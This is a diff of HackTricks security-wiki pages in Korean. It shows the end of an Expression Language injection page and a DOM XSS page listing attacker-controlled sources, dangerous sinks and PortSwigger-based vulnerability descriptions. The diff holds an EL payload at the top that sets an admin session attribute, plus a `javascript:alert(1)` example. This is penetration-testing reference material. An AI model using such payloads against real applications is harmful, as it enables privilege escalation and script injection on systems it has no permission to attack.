${pageContext.request.getSession().setAttribute("admin", true)} ${pageContext.request.getSession().setAttribute("admin", true)}
``` ```
애플리케이션은 다음과 같이 사용자 정의 변수를 사용할 수도 있습니다: 애플리케이션은 다음과 같은 사용자 정의 변수를 사용할 수 있습니다:
```bash ```bash
${user} ${user}
${password} ${password}
@ -231,9 +234,9 @@ ${employee.FirstName}
``` ```
## WAF 우회 ## WAF 우회
[https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)를 확인하세요. Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
## 참고 자료 ## References
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) * [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) * [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
@ -244,22 +247,25 @@ ${employee.FirstName}
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)**다크 웹**을 기반으로 하는 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 코드**에 의해 **침해**를 당했는지 확인할 수 있는 **무료** 기능을 제공합니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 그 고객이 **스틸러 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격에 대항하는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사에서 일하시나요? 귀하의 회사를 HackTricks에서 광고하고 싶으신가요? 또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!** * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하고 싶으시다면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
</details> </details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# DOM XSS # DOM XSS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
</details> </details>
{% endhint %}
## DOM 취약점 ## DOM 취약점
DOM 취약점은 공격자가 제어하는 **소스** (예: `location.search`, `document.referrer`, 또는 `document.cookie`)에서 데이터가 안전하게 전달되지 않고 **싱크**로 이동할 때 발생합니다. 싱크는 악성 데이터가 주어지면 해로운 콘텐츠를 실행하거나 렌더링할 수 있는 함수 또는 객체 (예: `eval()`, `document.body.innerHTML`)입니다. DOM 취약점은 공격자가 제어하는 **소스**(예: `location.search`, `document.referrer`, 또는 `document.cookie`)에서 데이터가 안전하지 않게 **싱크**로 전송될 때 발생합니다. 싱크는 악의적인 데이터가 주어질 경우 해로운 콘텐츠를 실행하거나 렌더링할 수 있는 함수나 객체(예: `eval()`, `document.body.innerHTML`)입니다.
* **소스**는 공격자가 조작할 수 있는 입력으로, URL, 쿠키 및 웹 메시지를 포함합니다. * **소스**는 공격자가 조작할 수 있는 입력으로, URL, 쿠키 및 웹 메시지를 포함합니다.
* **싱크**는 악성 데이터가 부작용을 일으킬 수 있는 잠재적으로 위험한 종단점으로, 스크립트 실행과 같은 공격을 가능하게 합니다. * **싱크**는 악의적인 데이터가 부작용을 초래할 수 있는 잠재적으로 위험한 엔드포인트로, 스크립트 실행과 같은 결과를 초래할 수 있습니다.
데이터가 적절한 유효성 검사나 살균 없이 소스에서 싱크로 흐를 때 XSS와 같은 공격이 가능해집니다. 위험은 데이터가 적절한 검증이나 정화 없이 소스에서 싱크로 흐를 때 발생하며, 이는 XSS와 같은 공격을 가능하게 합니다.
{% hint style="info" %} {% hint style="info" %}
**더 최신 소스 및 싱크 목록을 찾을 수 있습니다** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) **You can find a more updated list of sources and sinks in** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
{% endhint %} {% endhint %}
**일반적인 소스:** **일반적인 소스:**
@ -42,9 +45,9 @@ sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database Database
``` ```
**일반적인 취약점:** **일반적인 싱크:**
| [**오픈 리다이렉트**](dom-xss.md#open-redirect) | [**자바스크립트 입**](dom-xss.md#javascript-injection) | [**DOM 데이터 조작**](dom-xss.md#dom-data-manipulation) | **jQuery** | | [**오픈 리다이렉트**](dom-xss.md#open-redirect) | [**자바스크립트 입**](dom-xss.md#javascript-injection) | [**DOM 데이터 조작**](dom-xss.md#dom-data-manipulation) | **jQuery** |
| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- | | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
| `location` | `eval()` | `scriptElement.src` | `add()` | | `location` | `eval()` | `scriptElement.src` | `add()` |
| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` | | `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
@ -66,24 +69,24 @@ Database
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | | `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
| `XMLHttpRequest.send()` | [**링크 조작**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | | `XMLHttpRequest.send()` | [**링크 조작**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | | `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**클라이언트 측 JSON 입**](dom-xss.md#client-side-sql-injection) | | `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**클라이언트 측 JSON 입**](dom-xss.md#client-side-sql-injection) |
| **\`\`**[**HTML5-storage 조작**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | | **\`\`**[**HTML5 저장소 조작**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**XPath 입**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | | `sessionStorage.setItem()` | [**XPath 입**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | | `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
| **``**[**`서비스 거부`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**쿠키 조작**](dom-xss.md#cookie-manipulation) | | **``**[**서비스 거부**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**쿠키 조작**](dom-xss.md#cookie-manipulation) |
| `requestFileSystem()` | **\`\`**[**문서 도메인 조작**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | | `requestFileSystem()` | **\`\`**[**문서 도메인 조작**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | [**웹소켓-URL 조작**](dom-xss.md#websocket-url-poisoning) | | `RegExp()` | `document.domain` | `history.pushState()` | [**웹소켓 URL 중독**](dom-xss.md#websocket-url-poisoning) |
| [**클라이언트 측 SQL 입**](dom-xss.md#client-side-sql-injection) | [**웹 메시지 조작**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | | [**클라이언트 측 SQL 입**](dom-xss.md#client-side-sql-injection) | [**웹 메시지 조작**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
| `executeSql()` | `postMessage()` | \`\` | \`\` | | `executeSql()` | `postMessage()` | \`\` | \`\` |
**`innerHTML`** 싱크는 현대 브라우저에서 `script` 요소를 허용하지 않으며, `svg onload` 이벤트도 발생하지 않습니다. 이는 `img` 또는 `iframe`과 같은 대체 요소를 사용해야 한다는 것을 의미합니다. **`innerHTML`** 싱크는 최신 브라우저에서 `script` 요소를 허용하지 않으며, `svg onload` 이벤트도 발생하지 않습니다. 이는 `img` 또는 `iframe`과 같은 대체 요소를 사용해야 을 의미합니다.
유형의 XSS는 아마도 **가장 어렵게** 발견할 수 있습니다. JS 코드 내부를 살펴보고, 제어할 수 있는 **값을 사용**하는지 확인하고, 그 경우에 임의의 JS를 실행할 수 있는지 확인해야 합니다. 러한 종류의 XSS는 **찾기 가장 어려운** 유형일 가능성이 높습니다. JS 코드 내부를 살펴보고, **제어할 수 있는** 값의 객체를 사용하는지 확인한 후, 이를 악용하여 임의의 JS를 실행할 수 있는 **방법이 있는지** 확인해야 합니다.
## 발견 도구 ## 이를 찾기 위한 도구
* [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized) * [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
* 잠재적 싱크에 도달하는 모든 데이터를 확인하는 브라우저 확장 프로그램: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp) * 잠재적 싱크에 도달하는 모든 데이터를 확인하는 브라우저 확장: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
## 예시 ## 예시
@ -91,9 +94,9 @@ Database
출처: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection) 출처: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
**DOM에서의 오픈 리다이렉트 취약점**은 스크립트가 도메인 간 탐색을 시작할 수 있는 싱크에 공격자가 제어할 수 있는 데이터를 작성할 때 발생합니다. **DOM에서의 오픈 리다이렉트 취약점**은 스크립트가 공격자가 제어할 수 있는 데이터를 도메인 간 탐색을 시작할 수 있는 싱크에 기록할 때 발생합니다.
리다이렉션이 발생하는 URL의 시작 부분을 제어할 수 있다면, **`javascript:alert(1)`**과 같은 임의의 코드를 실행할 수 있다는 점을 이해하는 것이 중요합니다. 리다이렉션이 발생하는 URL의 시작 부분을 제어할 수 있다면 **`javascript:alert(1)`**과 같은 임의의 코드를 실행할 수 있다는 점을 이해하는 것이 중요합니다.
싱크: 싱크:
```javascript ```javascript
@ -113,13 +116,13 @@ XMLHttpRequest.send()
jQuery.ajax() jQuery.ajax()
$.ajax() $.ajax()
``` ```
### 쿠키 조작 ### Cookie manipulation
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
DOM 기반 쿠키 조작 취약점은 스크립트가 공격자가 제어할 수 있는 데이터를 쿠키의 값으로 통합할 때 발생합니다. 이 취약점은 쿠키가 사이트 내에서 사용될 경우 웹페이지의 예기치 않은 동작으로 이어질 수 있습니다. 또한 쿠키가 사용자 세션을 추적하는 데 사용되는 경우 세션 고정 공격을 수행하는 데 악용될 수 있습니다. 이 취약점과 관련된 주요 싱크는: DOM 기반 쿠키 조작 취약점은 스크립트가 공격자가 제어할 수 있는 데이터를 쿠키의 값에 포함할 때 발생합니다. 이 취약점은 쿠키가 사이트 내에서 사용될 경우 웹페이지의 예기치 않은 동작을 초래할 수 있습니다. 또한, 쿠키가 사용자 세션 추적에 관여하는 경우 세션 고정 공격을 수행하는 데 악용될 수 있습니다. 이 취약점과 관련된 주요 싱크는:
싱크: Sinks:
```javascript ```javascript
document.cookie document.cookie
``` ```
@ -127,7 +130,7 @@ document.cookie
From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection) From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
DOM 기반 JavaScript 삽입 취약점은 스크립트가 공격자가 제어할 수 있는 데이터를 JavaScript 코드로 실행할 때 발생합니다. DOM 기반 JavaScript 주입 취약점은 공격자가 제어할 수 있는 데이터를 JavaScript 코드로 실행할 때 생성됩니다.
Sinks: Sinks:
```javascript ```javascript
@ -142,33 +145,33 @@ msSetImmediate()
range.createContextualFragment() range.createContextualFragment()
crypto.generateCRMFRequest() crypto.generateCRMFRequest()
``` ```
### 문서 도메인 조작 ### Document-domain manipulation
From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
**문서 도메인 조작 취약점**은 스크립트가 공격자가 제어할 수 있는 데이터를 사용하여 `document.domain` 속성을 설정할 때 발생합니다. **Document-domain manipulation vulnerabilities**는 공격자가 제어할 수 있는 데이터를 사용하여 스크립트가 `document.domain` 속성을 설정할 때 발생합니다.
`document.domain` 속성은 브라우저에 의한 **동일 출처 정책**의 **시행**에 **중요한 역할**을 합니다. 서로 다른 출처에서 가져온 두 페이지가 `document.domain`을 **동일한 값**으로 설정하면 제한 없이 상호 작용할 수 있습니다. 브라우저는 `document.domain`에 할당할 수 있는 값에 일정한 **제한**을 부과하지만, 실제 페이지 출처에 완전히 관련 없는 값의 할당을 방지하는 예외가 있습니다. 일반적으로 브라우저는 **하위 도메인** 또는 **상위 도메인**의 사용을 허용합니다. `document.domain` 속성은 브라우저**same-origin policy** **강제**에 **중요한 역할**을 합니다. 서로 다른 출처의 두 페이지가 `document.domain`을 **같은 값**으로 설정하면 제한 없이 상호작용할 수 있습니다. 브라우저는 `document.domain`에 할당할 수 있는 값에 대해 특정 **제한**을 두지만, 실제 페이지 출처와 완전히 관련 없는 값을 할당하는 것은 방지합니다. 일반적으로 브라우저는 **자식** 또는 **부모 도메인**의 사용을 허용합니다.
Sinks: Sinks:
```javascript ```javascript
document.domain document.domain
``` ```
### WebSocket-URL 독려 ### WebSocket-URL poisoning
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
**WebSocket-URL 독려**은 스크립트가 WebSocket 연결의 대상 URL로 **제어 가능한 데이터를 사용**할 때 발생합니다. **WebSocket-URL poisoning**는 스크립트가 **제어 가능한 데이터를 WebSocket 연결의 대상 URL로 사용하는 경우** 발생합니다.
Sinks: Sinks:
`WebSocket` 생성자는 WebSocket-URL 독려 취약점으로 이어질 수 있습니다. `WebSocket` 생성자는 WebSocket-URL poisoning 취약점으로 이어질 수 있습니다.
### 링크 조작 ### Link manipulation
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
**DOM 기반 링크 조작 취약점**은 스크립트가 현재 페이지 내에서 네비게이션 대상으로 **공격자가 제어 가능한 데이터를 작성**할 때 발생합니다. 이는 클릭 가능한 링크나 양식의 제출 URL과 같은 것입니다. **DOM 기반 링크 조작 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 현재 페이지 내의 탐색 대상**에 기록할 때 발생합니다. 예를 들어 클릭 가능한 링크나 양식의 제출 URL이 있습니다.
Sinks: Sinks:
```javascript ```javascript
@ -180,7 +183,7 @@ someDOMElement.action
From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
**Ajax 요청 조작 취약점**은 스크립트가 `XmlHttpRequest` 객체를 사용하여 발행된 Ajax 요청에 **공격자가 제어 가능한 데이터를 작성**할 때 발생합니다. **Ajax 요청 조작 취약점**은 스크립트가 `XmlHttpRequest` 객체를 사용하여 발행되는 Ajax 요청에 **공격자가 제어할 수 있는 데이터를 기록할 때** 발생합니다.
Sinks: Sinks:
```javascript ```javascript
@ -194,7 +197,7 @@ $.globalEval()
From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
**로컬 파일 경로 조작 취약점**은 스크립트가 `filename` 매개변수로 **공격자가 제어 가능한 데이터를 파일 처리 API에 전달**할 때 발생합니다. 이 취약점은 공격자가 방문자가 다른 사용자에 의해 방문될 경우 **사용자의 브라우저가 임의의 로컬 파일을 열거나 쓸 수 있는 URL을 구성**하여 악용할 수 있습니다. **로컬 파일 경로 조작 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 파일 처리 API**에 `filename` 매개변수로 전달할 때 발생합니다. 이 취약점은 공격자가 다른 사용자가 방문할 경우 **사용자의 브라우저가 임의의 로컬 파일을 열거나 작성하도록 유도하는 URL을 구성**하는 데 악용될 수 있습니다.
Sinks: Sinks:
```javascript ```javascript
@ -206,43 +209,43 @@ FileReader.readAsFile()
FileReader.root.getFile() FileReader.root.getFile()
FileReader.root.getFile() FileReader.root.getFile()
``` ```
### 클라이언트 측 SQL 삽입 ### 클라이언트 측 SQL 인젝션
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
**클라이언트 측 SQL 삽입 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 안전하지 않은 방식으로 클라이언트 측 SQL 쿼리에 통합하는 경우** 발생합니다. **클라이언트 측 SQL 인젝션 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 안전하지 않은 방식으로 클라이언트 측 SQL 쿼리에 포함할 때 발생합니다**.
Sinks: Sinks:
```javascript ```javascript
executeSql() executeSql()
``` ```
### HTML5-storage 조작 ### HTML5-storage manipulation
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
**HTML5-storage 조작 취약점**은 스크립트가 웹 브라우저의 HTML5 저장소(`localStorage` 또는 `sessionStorage`)에 **공격자가 제어 가능한 데이터를 저장**할 때 발생합니다. 이 작업 자체가 보안 취약점은 아니지만, 응용 프로그램이 이후에 **저장된 데이터를 안전하지 않게 처리하고 읽는 경우 문제가 발생**할 수 있습니다. 이는 공격자가 저장 메커니즘을 활용하여 다른 DOM 기반 공격(예: 크로스 사이트 스크립팅 및 JavaScript 삽입)을 수행할 수 있게 할 수 있습니다. **HTML5-storage manipulation 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 웹 브라우저의 HTML5 저장소**(`localStorage` 또는 `sessionStorage`)에 저장할 때 발생합니다. 이 작업 자체는 본질적으로 보안 취약점이 아니지만, 애플리케이션이 이후에 **저장된 데이터를 읽고 안전하지 않게 처리할 경우** 문제가 됩니다. 이는 공격자가 저장 메커니즘을 활용하여 교차 사이트 스크립팅 및 JavaScript 주입과 같은 다른 DOM 기반 공격을 수행할 수 있게 할 수 있습니다.
싱크(Sinks): Sinks:
```javascript ```javascript
sessionStorage.setItem() sessionStorage.setItem()
localStorage.setItem() localStorage.setItem()
``` ```
### XPath injection ### XPath 주입
From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
**DOM-based XPath-injection vulnerabilities** 발생 시나리오는 스크립트가 **공격자가 제어 가능한 데이터를 XPath 쿼리에 통합**하는 경우 발생합니다. **DOM 기반 XPath 주입 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 XPath 쿼리에 포함할 때** 발생합니다.
Sinks: Sinks:
```javascript ```javascript
document.evaluate() document.evaluate()
someDOMElement.evaluate() someDOMElement.evaluate()
``` ```
### 클라이언트 측 JSON ### 클라이언트 측 JSON
From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
**DOM 기반 JSON 삽입 취약점**은 스크립트가 **공격자가 제어하는 데이터를 JSON 데이터 구조로 구문 분석하고 애플리케이션에서 처리하는 문자열에 통합되었을 때 발생**합니다. **DOM 기반 JSON 주입 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 JSON 데이터 구조로 구문 분석되고 애플리케이션에 의해 처리되는 문자열에 포함할 때 발생합니다**.
Sinks: Sinks:
```javascript ```javascript
@ -254,19 +257,19 @@ $.parseJSON()
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
**웹 메시지 취약점**은 스크립트가 브라우저 내 다른 문서로 **공격자가 제어할 수 있는 데이터를 웹 메시지로 보내는 경우** 발생합니다. 취약한 웹 메시지 조작의 **예**는 [PortSwigger의 웹 보안 아카데미](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)에서 찾을 수 있습니다. **웹 메시지 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 웹 메시지로 다른 문서에 전송할 때** 발생합니다. 취약한 웹 메시지 조작의 **예**는 [PortSwigger의 웹 보안 아카데미](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)에서 찾을 수 있습니다.
싱크: Sinks:
`postMessage()` 메소드를 사용하여 웹 메시지를 보내는 경우, 메시지를 수신하는 이벤트 리스너가 수신된 데이터를 안전하지 않은 방식으로 처리하는 경우 취약점이 발생할 수 있습니다. 웹 메시지를 전송하기 위한 `postMessage()` 메서드는 수신 메시지에 대한 이벤트 리스너가 수신 데이터를 안전하지 않게 처리할 경우 취약점으로 이어질 수 있습니다.
### DOM 데이터 조작 ### DOM 데이터 조작
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
**DOM 데이터 조작 취약점**은 스크립트가 **DOM 내의 필드에 공격자가 제어할 수 있는 데이터를 작성**하는 경우 발생합니다. 이 취약점은 공격자가 다른 사용자가 방문할 경우 클라이언트 측 UI의 모양이나 동작을 변경할 수 있는 URL을 구성하는 데 악용될 수 있습니다. **DOM 데이터 조작 취약점**은 스크립트가 **DOM 내의 필드에 공격자가 제어할 수 있는 데이터를 기록할 때** 발생합니다. 이 데이터는 가시 UI 또는 클라이언트 측 로직에서 사용됩니다. 공격자는 이 취약점을 이용하여 다른 사용자가 방문할 경우 클라이언트 측 UI의 모양이나 동작을 변경할 수 있는 URL을 구성 수 있습니다.
싱크: Sinks:
```javascript ```javascript
scriptElement.src scriptElement.src
scriptElement.text scriptElement.text
@ -295,9 +298,9 @@ history.replaceState()
From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service) From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
